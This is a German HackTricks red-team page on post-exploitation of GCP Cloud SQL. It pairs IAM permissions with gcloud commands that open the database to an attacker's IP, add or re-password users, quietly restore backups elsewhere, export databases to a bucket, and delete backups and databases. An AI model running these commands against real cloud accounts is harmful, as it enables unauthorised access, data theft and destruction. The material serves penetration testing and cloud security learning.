GCP - Cloud SQL Post Exploitation

Erlernen Sie das Hacken von AWS von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Cloud SQL

Für weitere Informationen zu Cloud SQL siehe:

pageGCP - Cloud SQL Enum

cloudsql.instances.update, ( cloudsql.instances.get)

Um sich mit den Datenbanken zu verbinden, benötigen Sie lediglich Zugriff auf den Datenbankport und kennen den Benutzernamen und das Passwort, es gibt keine IAM-Anforderungen. Ein einfacher Weg, um Zugriff zu erhalten, vorausgesetzt, die Datenbank hat eine öffentliche IP-Adresse, besteht darin, die erlaubten Netzwerke zu aktualisieren und Ihre eigene IP-Adresse zuzulassen, um darauf zuzugreifen.

# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet

mysql -h <ip_db> # If mysql

# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet

Es ist auch möglich, --no-backup zu verwenden, um die Backups der Datenbank zu unterbrechen.

Da dies die Anforderungen sind, bin ich mir nicht ganz sicher, wofür die Berechtigungen cloudsql.instances.connect und cloudsql.instances.login sind. Wenn Sie es wissen, senden Sie einen PR!

cloudsql.users.list

Erhalten Sie eine Liste aller Benutzer der Datenbank:

gcloud sql users list --instance <intance-name>

cloudsql.users.create

Diese Berechtigung ermöglicht es, einen neuen Benutzer innerhalb der Datenbank zu erstellen:

gcloud sql users create <username> --instance <instance-name> --password <password>

cloudsql.users.update

Diese Berechtigung ermöglicht es, Benutzer innerhalb der Datenbank zu aktualisieren. Zum Beispiel könnten Sie das Passwort ändern:

```bash gcloud sql users set-password --instance --password ``` ### `cloudsql.instances.restoreBackup`, `cloudsql.backupRuns.get`

Backups können alte sensible Informationen enthalten, daher ist es interessant, sie zu überprüfen. Stellen Sie ein Backup innerhalb einer Datenbank wieder her:

gcloud sql backups restore <backup-id> --restore-instance <instance-id>

Um dies auf eine unauffälligere Weise zu tun, wird empfohlen, eine neue SQL-Instanz zu erstellen und die Daten dort wiederherzustellen, anstatt dies in den aktuell laufenden Datenbanken zu tun.

cloudsql.backupRuns.delete

Diese Berechtigung ermöglicht das Löschen von Backups:

gcloud sql backups delete <backup-id> --instance <instance-id>

cloudsql.instances.export, storage.objects.create

Exportieren Sie eine Datenbank in einen Cloud Storage-Bucket, damit Sie von dort darauf zugreifen können:

# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName>

cloudsql.instances.import, storage.objects.get

Importiere eine Datenbank (überschreiben) aus einem Cloud Storage-Bucket:

# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>

cloudsql.databases.delete

Löschen Sie eine Datenbank aus der DB-Instanz:

gcloud sql databases delete <db-name> --instance <instance-id>
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated